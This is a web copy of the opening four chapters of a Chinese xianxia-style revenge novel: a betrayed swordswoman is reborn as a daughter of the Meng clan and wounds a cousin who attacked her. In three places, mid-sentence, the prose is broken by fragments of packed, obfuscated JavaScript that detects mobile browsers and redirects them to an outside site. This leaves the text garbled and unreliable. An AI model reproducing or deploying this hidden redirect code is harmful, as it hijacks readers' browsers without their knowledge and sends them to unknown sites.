《她心难求》 1. 第一章 深冬已至,大夏国的西北疆域已是凛风呼啸、群山覆雪,在这一片白茫茫中,桐山就显得更加渺小了。然而就是这群山中不起眼的一座,却盘驻着闻名江湖的神秘组织璇玑阁,连绵的群川,阻挡了世人寻觅的脚步,却又深信着“得璇玑相助,天下之事皆如探囊取物”。 桐山南麓崎岖的山道上此刻已经布满了厚厚的积雪,月色透过稀疏的枝桠,在雪地上留下细碎的剪影。 容素在风雪中艰难地迈着步子,朝着山顶走去。她虽常年习武,又久居桐山,对这般寒冷的气候早已习以为常,只是如今腹部有伤,内力运行有阻,难以很好地御寒,在这般处境下不免有些压力。 不过好在此次下山顺利夺得金乌草,此药得天地造化而生,多年难见,可治天下寒症。 想到这里,她便又打起了些精神,紧了紧身上的披风,加快速度朝前方走去。 不知走了多久,前方的漫天飞雪中,似乎有一人撑伞的身影愈来愈近。 走近了些,对方的轮廓也越发清晰。 青竹伞下,是一张清俊的面庞,眉如墨描,眸似寒潭深水,薄唇却透着不正常的苍白。男子披着银狐长氅,青玉色的长袍若隐若现,腰束玉带,衬得他身姿颀长,玉树临风。 “阁主,你怎么下山来了?”看清了来人的面孔,容素又惊又喜。 她平日里从未见过阁主下山,一来是因为阁主身中寒毒多年,需要靠桐山之巅的玉莲制成的熏香才能缓解,身体比寻常人要虚弱,容素此番夺金乌草,便是为此;二来是为了隐藏身份秘密,因为他不仅是璇玑阁阁主,还是远派西疆多年的亲王萧启。 说着她似乎想起什么,一般一把扯下腰间的布囊,兴冲冲地递给他:“阁主,这是我拿到的金乌草,有了它,你的寒毒就能解了!” 萧启接过布囊,愣怔了一下,神色有些复杂。 “我要回京城了,”他抬头看向她,收起手中的竹伞,“听闻陛下旧疾复发,那个万人之上的位置,想必他坐不稳了。”,他的语气稀松平常,深潭般眸中却闪过一丝寒光,“至于你……” 未等容素深想,山风猛地吹过,卷起片片雪絮,吹得容素偏了偏头,雪絮触眼,冰冷的触感让她不由得闭了闭眼。 下一瞬,她的心脏处忽觉冰凉,紧接着是一阵钝痛。她顾不上风雪迷眼,错愕地睁开眼,不知何时,萧启竟抽出藏在伞柄的长剑,迅速地捅进她的心口,猩红的血迅速渗出,顺着长剑流入惨白的雪地。 剧烈的疼痛使她浑身脱力,一把跌落在地,她不可置信地抬头看向他,颤抖着开口:“阁主,为什么?” 萧启的神色早已不如方才那般温煦平静,而是带上了陌生的阴狠,双眸似乎比这片冰天雪地还要寒冷。 他拂起衣裾,款款地蹲下身子与她对视:“璇玑阁里只有你知道我的身份,这个秘密会对我有不小的威胁,我既然要回去那个刀光剑影的京城,那便得更加小心了,宁可错杀,也不放过。而且这么多年来你是璇玑阁里除了我之外最有威信的人了,倘若有朝一日你背叛我,届时……” 容素皱眉,素来清冷的眸子泛起破碎的泪光,她不可置信地开口:“阁主是我的救命恩人,这么多年来我出生入死为你效力,怎么可能会背叛你?” 萧启似是想到什么笑话般,饶有兴味地问:“那倘若我是灭你容家满门的人?你还会背叛我吗?” 容素呼吸一滞,她愕然地盯着他,眼中渐渐染上怒意,一把抓住他的衣襟:“什么意思?当年容家出事是不是与你有关!” 萧启掰开了她的手,猛的站起身,一把抽出她心口的长剑。 心口又是一阵撕裂般的痛苦,容素喉间涌起一股腥甜,忽地吐出一口鲜血,血色在惨白的雪地里异常刺眼。 “下辈子活得自私一点吧。”萧启凉凉地着她,“你的身手和谋略都是一等一的好,只可惜,这些年你一直为了报恩和报仇而活着。” 萧启扔掉手中长剑,看着容素浑身带血、神色破碎的模样,眼中闪过异色,却还是无情拂袖,转头离去。 容素已经力竭,心口的剧痛让她终于倒了下去,看着萧启渐行渐远的背影,她心中情绪翻涌,愤怒与不甘在心底叫嚣,却只能被这咆哮的风雪淹没。 她忽然就想起了十年前,也是这样一个风雪夜,父兄战死西疆的消息前脚刚传来,后脚容府便有贼人入侵,对着容家上下的人疯狂砍杀,连小孩也不放过,母亲拼着最后一口气将她从一个墙洞中推了出去,年幼的她就那样带着重伤跌跌撞撞地在雪地里奔逃,一刻也不敢懈怠,她一路逃到了城郊,双脚在寒地中走得鲜血淋漓。 风雪无情压身,她身上的伤势加重,奄奄一息之时,是萧启出现,将她带回璇玑阁救下了她。那时候,她是真的相信上天垂怜,可如今再想,不过是跌入了另一个深渊罢了。 可她还有很多未竟的事,她还没为家人讨回公道,若能活下去,还要让萧启付出代价…… * 大夏国今年的冬季似乎格外漫长与寒冷,朔风卷着厚厚的风雪似要将帝国的北方吞没,不过饶是这风雪再浩荡,却也翻越不过那道隔绝南北的分水岭,更遑论西南地区拔地而起的群川,在北方一白如练的时候,帝国的南方依旧不见片雪,春推冬移,南方愈发温暖了起来。 脖间一阵刺痛,浓烈的草药味灌进鼻腔,容素猛地睁眼,久违的光亮让她混沌的意识慢慢回笼。 入目是陌生的青竹雕花床板,鹅黄色的纱帐在阳光照射下晃眼又显富贵。 “醒了醒了!五小姐醒了!我要去告诉三小姐!”耳边响起陌生的声音,声音中洋溢着难言的欣喜。 她有些艰难地转头,床外有一位作大夫打扮的女子,正拿着一根细针,察觉到她的目光,那人柔声开口:“五小姐,在下是这段时间为你诊治的大夫,在下方才为你施了三针,接下来还要再施几针,小姐且再忍忍。” 容素微微点了头,心中却有重重疑惑,这是哪?她不是死了吗?又为何自己被称为五小姐? 约摸过了半炷香的时间,屋外传来了细碎急促的脚步声,身旁有人影靠近,伴随着惊喜关切的女声响起:“宋大夫,听闻我妹妹醒了,她怎么样了?” 一道袅袅身影在她的余光中出现,身姿亭亭,带着大家闺秀独有的温柔端庄的气质,身后站着一位装扮较普通的,想必是先前出声的那位丫鬟。 “五小姐吉人自有天相,好在现如今已经苏醒,在下方才为五小姐号了号脉,虽虚弱但好在运行正常,相信不消多时便能痊愈。”宋大夫起身,朝来人微微躬身。 女子在她床边坐下,容素也在她和宋大夫的搀扶下坐起。一扭头,这才看清了女子的相貌。 那是一张清水出芙蓉般的清秀面容,眉目间盈满担忧地看着她:“妹妹,你感觉怎么样了?” “妹妹?”容素微微蹙眉,疑惑地看着她,似是对这个称呼感到不解。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189865|181089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“这是怎么回事?”女子愣了愣,既疑惑又担心,“我是云姐姐呀。” 说着还伸手摸了摸她的额头,有些怀疑地开口,“莫不是伤到脑袋了?” 容素目光前移,望向了前方梳妆台上的铜镜,隐隐约约中,看到的,赫然是与自己截然不同的面孔。 她有些愣怔。 借尸还魂?这可是一些民间传说和话本里才有的事。 是上天垂怜吗······这说来另人难以置信的“借尸还魂”,真的在她身上发生了。 “妹妹,你还好吗?” 面对孟云的追问,容素才缓缓回过神来,她略一思索,打算佯装失忆来应对,在这完全陌生的环境下,装失忆或许才是减少露出破绽的方法。希望不会被面前这位大夫识破。 “我······我什么都不记得了。” 见容素眼神空洞,愣愣地看着她,仿佛什么也不记得,孟云顿时有些慌乱。 一旁的宋大夫见状,推测道:“三小姐,在下认为,五小姐被毒蝎子所伤,救治得不够及时,想必当时的剧毒已经蔓延全身,伤到脑袋也不是不可能,况且又昏迷了这么久,一时间失去记忆也是有可能的,不过在下会根据五小姐的症状改良一下药方的,相信不久就会恢复记忆,小姐不必担心。” 闻言,孟云松了口气。她心疼的摸了摸容素的头:“失忆了也没关系,姐姐会把关于你的一切都告诉你,帮你慢慢想起来。” “既然五小姐已经醒了,今日的针灸疗程也已经结束了,那在下就先回医馆了,二位小姐若有其他事情再通传在下。”宋大夫躬身请辞。 孟云点了点头:“有劳宋大夫了。”说着招呼一旁的丫鬟海棠,“送送宋大夫吧。” “是。”说罢,海棠领着宋大夫走出了卧室。 孟云本打算让容素好好休息,却见容素对自己的身世十分好奇,孟云才留下来细细讲给她听。 容素也是这才对现在的处境有了初步的了解。 原来,她现在已经在离西疆那片高山千里之外的地方了,时节也流转到了孟春。这里是大夏国西南边陲的云州,而她现在的身份。是云州孟氏家族的一位嫡女,名唤孟竹,孟云则是她的亲姐姐。 容素虽常年在北部活动,但也听说过云州孟氏的发家史,孟家先祖曾因平定西南部落叛乱有功,被授予爵位,随后便在这个象征着家族功勋的地区安家。孟家深谙藏拙之理,表面上领着虚职爵位,安居孟氏庄园与世无争,实际上凭借多年的经营,将家族势力的触手,深入到云州政治、商贸等多个方面,影响力自然不言而喻。 孟家到了这一代,家主是孟老夫人,下有五房,孟云和孟竹是三房的嫡女,在人丁兴旺的孟家里分别排行第三和第五,虽出生金贵,但一双父母却早早离世。谈到此处,孟云语气有些低落,容素也想起自己原先的家人,难掩失落。 两姐妹失去了至亲长辈的庇护和经营,与孟老夫人的关系自然也就冷淡下来。日子一久,与孟家其他人的关系,也就只是以虚情假意为主,多的是被其他人明里暗里的刁难。这不,孟竹此番被毒蝎子所伤,就是二房那位素来娇纵的嫡子的手笔。 看来在孟家的路也不会好走。 容素暗叹了口气。而她既然得到了重活一次的机会,那便不能放任萧启这个卑鄙小人就这样潇洒地活着,北部的京都,是定要去一去的,只是以她目前的身份,想要去京都并非易事,还需得从长计议。 2. 第二章 几天过去,容素的身体已经慢慢恢复,虽然仍常感头晕体乏,但已经能利索地下床行走活动了。 孟云见她身体状况已经大好,一大早就派海棠叫醒她,说是要带她去给祖母请安。 听孟云说,自她中毒昏迷以来,家中长辈便免了姐妹两的请安,得知自己恢复了,也没有恢复请安,只是吩咐让她好好休息,不过孟云不愿落人口舌,决定还是主动前去请安。 这也是容素第一次迈出她们姐妹俩居住的芙蓉院。云州这于她而言陌生的异域环境,从这小小的院落便可见一斑。 这里的建筑不同于她以往见过的青砖灰墙,而是清一色的竹楼,以厚实粗壮的木头为柱,以打磨润色的青竹片为墙,歇山式的屋顶覆盖着黛瓦,窗柩和门外都悬着双层帘子,一层是湘竹帘子,一层是锦纹纱帘,梁柱上雕刻着精致的纹理,连石墩也是尽心雕琢,暗显贵气。 芙蓉院建在庄园地势较高的北部,因此走出院落时,往前望去,层层青翠与一座座黛瓦竹楼错落有致,似连绵的群山,也彰显着孟家累世沉淀的家族底蕴。 长长的青石小路上,青苔点翠,还有芭蕉叶留下的剪影。凤尾竹随风摇曳,排列细密的竹叶在晨晖中泛着金光。 “姐姐去过京城吗”容素忽然想到了什么,出声询问。 孟云莞尔:“我们自小就一直待在云州,哪里去过京城,况且云州到京城这一路路途遥远崎岖,怕是一辈子都去不了几次。” 一旁的海棠似乎是想起什么,笑意盈盈地探过来:“三小姐你可不能这么讲,别忘了两年后你就要去京城同燕西王成亲了,那可是要一直待在京城啦。” 燕西王,是萧启的封号。 容素的脑海中似有惊雷乍起。她竟然不知萧启还有未婚妻。而这个未婚妻,还是她现在的亲姐姐,命运似乎在冥冥之中,又将她和萧启摆到了一盘棋局中。 既然孟云是萧启的未婚妻,那么她对付萧启的计划似乎就有了突破口。只是此事还需从长计议,她既然借了孟竹的身体活着,那么孟家两姐妹便是她要感恩的人,她也不能因为一己私欲而害了人家。 海棠自小跟着孟家两位姐妹,面这般打趣的话,孟云倒也习以为常,她眉眼弯弯地看向容素,却捕捉到她眸中闪过的异样神色。 不等她开口询问,便听容素追问:“姐姐,我们孟家世代居于云州,竟然也能和皇家有姻亲关系吗?” 孟云无奈一笑:“看来你是真的什么都不记得了。” 她顿了顿,继续说:“当朝的那位淑太妃与我们母亲可是嫡亲姐妹呢,母亲当年与太妃先后怀了身子,便约定着说将来若是诞下一男一女,便要定下娃娃亲。” 容素了然:“原来如此。”萧启的母妃想必就是孟云口中的淑太妃,容素曾听说其名唤陈湘玉,出身于云州俪城一家世家大族。不过她曾听萧启讲过,这位太妃并非他的亲生母亲,他是后来才在她名下抚养的。 容素又问:“那姐姐几年后进京,我们姐妹岂不是要就此分别了?” 孟云闻言,笑意半敛,拉住了容素的手,眉目间染上担忧:“是啊,到时候怕是难以再回云州了,你一个人待在孟家,叫我如何放心得下,要是我们姐妹二人能一同进京······” 容素还未来得及仔细听完孟云的话,耳廓微动,正后方数十米外似乎传来锐物破空的呼呼声,多年来的习武经验让她顿感危险,来不及多说,她一把推开孟云,自己也赶紧拉着海棠往旁边连连退了几步。 下一瞬,一把闪着寒光的飞刀从刚刚所在的地方掠过,打中了前方的芭蕉树粗壮的树干,牢牢地钉在上面。 容素拧眉看向后方,身后一位身着宝蓝色华服的少年正得意洋洋地站在后方幸灾乐祸地看着她们,因出镖而打直的手不疾不徐地收了回去。 海棠反应过来,赶紧挡在容素身前。 孟云趔趄了一下,回头看清了发生什么后,素来温和的脸上也出现了怒意,她冷冷地盯着嚣张的少年:”六弟,你这是什么意思?不久前刚害得阿竹中了剧毒,九死一生,现在还要对姐姐痛下狠手,你学的武功是让你用在兄弟姐妹身上的吗!“ 原来这位就是害孟竹中毒的孟家六少爷,二房嫡子孟轩,容素若有所思,方才那招也是下了狠手的,若是被打中,不死也是重伤,没想到手足之间竟也能相逼到这个地步。孟轩素来受孟家长辈溺爱与纵容,看来今日她得替原主孟竹讨讨公道了。 孟轩倒是一脸不屑,丝毫没有愧疚之意:“不过是刚好练练武罢了,又不是有心的,两位姐姐不会还要去找祖母告状吧,可惜呀,祖母才不会管你们死活呢!” “告状?那自然不会。”容素淡笑开口,然后在几人探究的目光下走到树干旁,捏住那把飞刀,用力拔了出来。 “你还是别管祖母会不会管我们的死活了,先管管你自己的死活吧。”说罢,她嘴角绽开一抹笑,手腕迅速翻动,指尖聚力,飞刀瞬间飞出,直冲孟轩而去。 孟轩瞳孔骤扩,慌乱中想要躲开,但这飞刀速度快得超乎他的想象,他欲迈步躲避,“噗”地一声,心口处已经紧紧插进一把飞刀,有鲜血悄然渗出,剧痛似要将他撕裂。他无力地捂住心口,全身失力跌了下去。 “你——” 一旁的海棠被吓得尖叫,孟云淡定的脸上也出现裂痕,她看了看孟轩后,快步走到容素身边,神色惊慌,出声时语气带着责怪与质问:“阿竹你这是做什么?你又是何时学会这种功夫的?” 此时最好时先趁没人时离开,容素不语,扫了一下四周,草木林丛旺盛如屏障。她定了定神,拉着孟云钻进了一旁的小道,海棠见状,也不去管孟轩了,赶紧跟上她们的步伐。 直到站定下来,见周围没人,容素这才迎上了孟云的目光,开口道:“姐姐说过,我是被他所害才导致中毒失忆的,既然他做错了事却没有受到惩罚,那我就自己为自己讨个公道。况且他刚刚的飞刀可能还会伤害到姐姐,姐姐对我这么好,我怎么能让你也这样被欺负?” 此刻孟云觉得面前的妹妹是难言的陌生,她声音有些颤抖:“可你不应该对他下那么狠的手,到时候不仅是二爷和二夫人,连祖母也不会放过我们的!” 容素:“方才并没有人看到我弄伤他,况且我使用飞刀击中六弟这种事情说出去恐怕连刚刚目睹情况的姐姐你也不信吧?六弟平时嚣张跋扈惯了,长辈虽然宠他,但想必也是深知他的德行的,他的话长辈未必全然相信,再说了,会武的是他,飞刀也是他的,真的有人会相信是我做的吗?” “这······”孟云被她这番说辞劝住了,一时间竟不知说什么。 “五小姐说得对。”一旁的海棠也点点头,“六少爷平日里都不知道怎么欺负我们的······”,说着,她忽地想到了什么,疑惑地看向容素,“可是二小姐,你是怎么会使用飞刀的?还用的那么好?” 闻言,孟云也抬眸盯着她。 容素有些语塞,思索了一会才开口,:“可能是太恨了吧,他那么想取我性命,刚刚又差点伤到姐姐,我一怒,就······不知怎么就扔得那么好。”容素无辜垂眸,语气带着委屈,看起来像是那么回事。 容素扔飞镖时还伪装了一下手法, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189866|181089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收了力道,孟云和海棠皆是外行人,自然也看不出什么门道,似乎也慢慢接受了。 不过孟云还是训了训她:“下回可不能再这么冲动了!” 容素乖巧地点了点头:“嗯嗯,知道了。”又道,“我们赶紧去祖母那里吧?别时间一长,真被怀疑了。” 孟云点点头,三人不约而同地加快了脚步。 孟老夫人住在孟氏庄园北部的康宁院,这里与芙蓉院相比,更加气派与宽敞。这里多座竹楼呈围合式布局,与一进的四合院有些相似,梁柱门窗雕饰华丽,花草树木的布局也更加讲究和精美。 容素跟着孟云踏上竹阶,来到了堂屋前。屋外站着两位丫鬟,见两人来了,便进屋去通传。 见孟云藏在袖口出的手有些发抖,容素安慰似的拉了拉她的手,示意她不要担心。 丫鬟很快出来了:“三小姐,五小姐进去吧。” 得到允许,两人一同走了进去了,海棠则留在外头等待。 走进里屋,一股难言的严肃与压抑感无形地弥漫。容素跟在孟云身后,微微抬眼观察四周。 青竹地板上铺着竹筵丝席,屋内两侧各设长案,其后立着高高的山水屏风,竹墙上挂着几副字画。往前,摆着一张红木长椅,两旁站着两位丫鬟和一位嬷嬷,椅上坐着一位年迈的老者,衰老的面容上堆满细密的皱纹,半抬的眼皮下,一双浑浊的眸子如鹰隼般威严与锐利。想必这位就是姐妹俩的祖母,也是现在孟家的家主乔氏。 曾经常常经历九死一生的时刻,因此她对于危险的感知,已经是异常地敏锐与警觉,眼前的乔氏,让她再次有了这种危险的感觉。 “孙女孟云见过祖母。”声音平稳,看样子孟云倒是已经镇定了许多。 容素也赶忙照做:“孙女孟竹见过外祖母。” 周遭沉默了片刻,才响起乔氏暗哑的声音,“起来吧。” “是。”两人站起了身。 “听闻阿竹中了毒,在床上躺了一个半月,现如今身子可好些了?” “多谢祖母挂心,孙女已经好得差不多。” “没事了就好,方才见你行礼时有些不如从前规矩了,还以为是没好利索,既然好了,那该保持的还是要保持。” 容素心下一惊,她以前在璇玑阁远离尘世,虽有外出,但是世家大族的礼仪规矩未曾学习,这几天虽也有留意和学习过,但是方才行礼仍是带着几分忐忑,没想到竟然被这位祖母洞察出来了,看来要更加小心了。 “还请祖母见谅。”孟云护妹心切,当即便替孟竹解释,“妹妹所中的剧毒甚伤身体,手脚时感钝痛,这才有些失礼。” 乔氏低低地“嗯”了一声,随后道:“你们俩来得甚早,先坐着吧,等其他人来了一起用了早膳再走吧。” 两人点头,随后便到后面坐着,一旁的丫鬟为她们上了盏茶。 乔氏有一搭没一搭地同她们聊着,气氛却不觉轻松。看来乔氏对三房的姐妹俩并不喜爱,容素暗暗思量。乔氏冷淡的态度让容素还是有些意外的,虽然少了父亲母亲去经营她们与祖母之间的关系,关系淡些也正常,但是孟云未来好歹是要当王妃的,乔氏没道理放过这个壮大家族势力的机会啊…… 思索间,脑海中似有灵光闪过,难道,乔氏要把孟云?王未婚妻的位置谋夺给其他孟家女子?!毕竟孟云只有孟竹这一个亲妹妹,这段姻亲对孟氏的助力终究会随着孟竹的出嫁而减少,乔氏掌管孟家多年,怕是早已考虑到这种情况了吧? 这个念头一出,容素顿觉周身发寒。她定了定心神,安慰自己或许是想得过于偏激了…… 3. 第三章 眼前日光晃过,原先在屋外守着的丫鬟快步走到乔氏身边,弓着身子通报:“老夫人,大夫人、大少爷和大小姐来了。” 乔氏闻言,面色似乎有所松动:“进来吧。” 丫鬟应声,迈步离开。 片刻后,门口人影闪动,竹帘被掀起,一位年长的女子走了进来,一袭青裳素雅温婉又不失大气,身后跟着一位墨衣少年和荷衣少女。 容素听孟云讲过,大房大太太名唤许青玉,膝下有一儿一女,也就是孟家大少爷孟亭和大小姐孟音。大房的大老爷,也就是孟成建,还有两个妾室。大夫人和大老爷一直协助乔氏管理着孟氏庄园,这样看,似乎是大房更得势一些。 几位先后开口行礼。 乔氏和他们寒暄了几句,就挥挥手让她们落座。 大夫人一行人在对面落座,容素有些好奇地抬眸打量,视线与孟亭冷不丁的撞上,她一愣,赶紧收回视线。 孟云向容素使了个眼色,然后拉着容素站起身走了过去:“见过大夫人、大哥和大姐,我和妹妹有些日子未过去拜访,倒是有些失礼了,近来安否?” 容素也跟着示意。 许氏的目光在容素身上流连了片刻,淡雅的面容上绽开一抹亲和的笑:“你们两位倒是出落得更加沉稳大方了,对了,听说阿竹大病初愈,最近身体可好了些?也怪我最近实在是不得闲,没怎么去多看看你们。” 容素淡淡一笑:“多大夫人关心,阿竹已无大碍了。” “我结识过几位名医,若妹妹们有需要的话,尽管开口。”孟亭淡淡开口,他面容俊逸,气质沉稳,倒有些难得的正气在身上。 孟云莞尔:“多谢大哥,说到这个,我们还要多谢大哥相助,若不是你请来宋大夫帮妹妹医治,她现在的情况怕是不容乐观,他日我再带妹妹上门感谢。”此话一出,一旁的许氏似乎意味深长地瞟了孟亭一眼。 见过礼后,两姐妹就回到了各自的位子上。 “今日二房的人怎么还未过来?”乔氏与几位聊着天,茶都换了两盏,见丫鬟再次上茶,她不由得蹙眉。 这话问得孟云心下一紧,她看了看容素,却见她仍是一副淡定从容的样子。 许氏接过话头:“可能是院里有什么事耽搁了也说不定呢。” 这时原本在屋外守着的嬷嬷又走了进来,步伐有些凌乱,揣在一起的手微微颤抖。 乔氏问:“可是二房的人来了?进来吧。” 嬷嬷面露犹豫,磕磕绊绊的回话:“二夫人派人来传话,说……说五少爷遭人暗算,伤到了心脉……” “什么?”乔氏手中的茶盏一个没拿稳,从手心直直滑落,白瓷碎开,在在场几人心中发出清脆的哐当声,热气腾腾的茶水朝四周溅去。 乔氏拿过一旁的拐杖,双手一撑,摇晃着站起身,一旁的丫鬟赶紧拥着扶住她,其他人也跟着站起身。 “走,去文松院。”文松院,是二房的院子。 文松院,院如其名,院落四周错落有致地种着许多凤尾竹和黄斑竹,院中竹楼几乎被绿荫笼罩,一片阴凉。只是这么好的院子,此刻却传出了悲痛的哭声。 乔氏一行人此时来到了文松院,见到的不是往日那种岁月静好,时有欢声笑语的样子,而是下人们一脸慌乱,跑上跑下的场景。 走进堂屋,就见到一位身着银袍的中年男子在焦急地踱步,旁边的梨花木椅上还有一位泪眼婆娑的华服妇人,一旁的丫鬟们低着头,大气都不敢出。 容素暗暗打量着,想必这两位就是二老爷和二夫人,孟成才和林氏。 二老爷见到乔氏,敛了敛神色,行了个礼:“儿子见过母亲。” 林氏也在丫鬟的搀扶下走上前,放下拿手帕拭泪的手,身若萧条的杨柳,虚虚地向乔氏行了个礼。 “见过母亲。” 几位小辈也依次行了个礼。 乔氏落座,赶紧开口询问道:“轩儿情况怎么样了?” 林氏眼带泪光看了看对面的屋子,抽泣着说:“大夫正在屋里把轩儿心口暗器取出来,刚刚派人过来传话,说是情况危急,伤口擦着心脏的边缘,大夫也没法保证能救活,”说着,哭得更加厉害,“母亲,我就这一个儿子啊,他要是、要是…………” 乔氏听完,神情愈发严肃,面色逐渐惨白。 孟云心底忍不住翻涌,她看向容素,眼底是难掩的慌乱。容素垂眸,拉住了她的手。 乔氏似乎是想到了什么:“林氏,轩儿为何会受此重伤?可是得罪了什么人?” 林氏梨花带雨地摇了摇头:“媳妇不知,早上媳妇想着带轩儿去给母亲请安,却一直找不到轩儿,派了嬷嬷去找,找到事轩儿已经昏迷了,也问不出什么话,好在早晨给媳妇调理身体的大夫还没走,这才能赶紧给轩了看病。如今大夫已经进去半个时辰了······” 许氏轻走到林氏身边,开口安慰了几句。 乔氏:“多吩咐几个人去找凶手,轩儿醒了之后也要多问问他是谁伤了他。敢在孟府里伤害我的孙子,老身定要让他付出代价!”乔氏的木杖重重地敲在地板上,“砰”的一声,在容素耳边回荡。 “你们几个小辈先回去吧。”乔氏开口,“庄园里出了这种事,你们也要多加注意。” 孟云和容素在这里待着也是忐忑着,另外两人则是说悲伤也不说不上,但在这里还要佯装伤心同情状,既然乔氏发话了,他们自然也乐得其成,行礼告别后纷纷离开了。 日头渐高,待两人回到芙蓉院,已经接近晌午了。 海棠端来了膳房草草做的饭,四菜一汤,容素刚好有些饿了,对着对这些陌生的菜肴,越吃越起兴。鲜嫩的鱼肉在酸辣的红汤中浸泡与沸煮,一口下去,异常地鲜美与开胃。还有那道竹筒饭,清甜的竹香包裹着咸香的米饭,甚是美味,容素不由得多吃了几口。 而对面的孟云却迟迟未动筷子。 容素察觉到她的异常,问:“姐姐可是在担心六弟的事?” 孟云深深地看了她一眼,点了点头:“六弟一旦醒来,定会向长辈们指认你,长辈这一关,感觉不好过。” 容素弯唇:“姐姐暂且放心,六弟这伤,没个十来天,怕是醒不过来的。” “对了。”容素搁下竹箸,“方才在祖母那,我听姐姐说,我中毒的时候,是大哥请来了宋大夫给我医治?” 孟云似是看出了她的疑惑,点了点头:“是的,你那天中毒昏迷,我派人去请大夫,却迟迟不见大夫赶过来。还好大哥过来探望你,得知大夫还没来,亲自离开庄园去找宋大夫过来。大哥逐渐接触了孟家的商贸产业,结识到越来越多厉害的人,多亏了宋大夫高超的医术,你才能醒过来呐。” 容素愣了愣,心里隐隐作痛,其实真正的孟竹,应该是没挺过剧毒,已经不在了吧。 “那大哥为何对我们这么好?”容素问出了心中真正的疑惑。 孟云转眸,脑海中浮现了许多回忆:“这其实要从很久以前说起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189867|181089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,大概在你三岁左右吧,那时我们的父亲母亲还在呢,大夫人不知因为什么原因,被祖母送去乡下庄子,说是要一年后才能回来,大夫人带着大姐走了,大老爷又在外经商,母亲不忍心看大哥在大房看几位姨娘的脸色生活,便请示了祖母,将大哥带过来和我们一起生活了一年,你当时和大哥玩得可好了呢……” 自那天后,乔氏又免了众人请安,还调了府中护卫在府中加强巡逻,容素也就和孟云一起有惊无险地度过了十天安生的日子。 不过孟轩还是在第十一天醒来了,那天中午,三个嬷嬷敲响了芙蓉院的门。 三位嬷嬷横眉竖眼,语气冷厉:“三小姐、五小姐,老夫人有请。” 容素看了看神色僵硬的孟云,抢先开口道:“知道了,走吧。” 青石板小路蜿蜒前行,两旁高高的芭蕉树将倾泻的日光拂开,伴着层层叠叠的竹屋,一路走过来倒是阴凉无比,若是在平日,容素倒是乐得享受着片刻时光,不过此时却不由得将心提到了嗓子眼。 “三位嬷嬷,这似乎不是去祖母院子里的路吧?”走了一段路,孟云慢下脚步,皱眉看向了三人。 其中一位嬷嬷轻飘飘地回头看了她一眼,说:“老夫人在文松院,此番不仅是老夫人有请,二老爷和二夫人也想见两位小姐呢。”说着,鼻尖飘出一身轻哼,“两位小姐做了什么想必也心里有数,就不必多话了吧。” 容素和孟云交换了个眼神,心下了然。 当文松院那高高的竹楼再次出现在眼前时,容素难得感受一丝危险与不安。 顺着竹梯上楼,染上朱漆的竹阶发出轻微的吱呀声。穿过长廊,走在前头的嬷嬷一把掀起堂屋的竹帘,探过头毕恭毕敬地出声:”老夫人,二老爷,二夫人,三小姐和五小姐来了。” “进来吧。” 容素轻出了一口气,目带安慰地看了孟云一眼,随后小心翼翼地走了进去。 宽敞的屋内,乔氏端坐在最前方的太师椅上,双手把在木拐上,见两人进来,沉沉的眸色里似乎射出如箭精光,直探两人而来。 孟二老爷和林氏站在乔氏身旁,目光里也尽是不满与审视。 容素进屋后,反倒是镇定了许多,跟着孟云规规矩矩地行了个礼。 这礼刚行完,林氏便哭泣出声,控诉道:“三房两姐妹,我们轩儿平日也没得罪你吧,你怎么舍得对他下如此狠手呀?”她抽泣了一声,“你知不知道,他差点就挺不过来了!” 容素蹙眉,抬头望向她,双眸放大,一脸吃惊与不解:“二夫人这是什么意思?” 孟云也严肃起来:“二夫人,你这话可不能乱说,妹妹平日一直与我待在一起,她做了什么我在清楚不过了,我可不许任何人污蔑她。” “阿竹。”乔氏出言打断,她盯着容素,仿佛要将她看穿,“轩儿醒来后说是你出手伤害他,你怎么解释?” “我没做过这种事……” “胡说!”一道声音隔着左侧的屏风传了过来,打断了容素的话,容素听得出来,这是孟轩的声音。 孟轩声音虽然听着虚弱气短,但仍不服输似地用力吼着:“孟竹你别惺惺作态了!分明就是你对我心怀不满,才出手用飞刀伤我,你……咳咳……”有液体喷溅声响起,应该是孟轩呕血了。 面前几人神色一惊,林氏更是慌慌张张地跑到屏风后查看孟轩的伤势。 孟二老爷带着警告出声:“你还有什么话要说?伤害兄弟,可是要以家法处置的。 4. 第四章 容素抬头迎上孟二老爷的目光,问:“敢问二伯父,六弟是被什么凶器中伤?” 孟二老爷冷哼一身:“是飞刀,你可别说你不知道。” 容素挑眉:“可我并未习过武,本就不知如何使用飞刀,更何况我所拥有的东西,都是上报孟家的管事之后再去统一采买的,我有无飞刀二伯父一查便知。” “你--”她这番说辞虽短却在理,把孟二老爷都噎了一下。 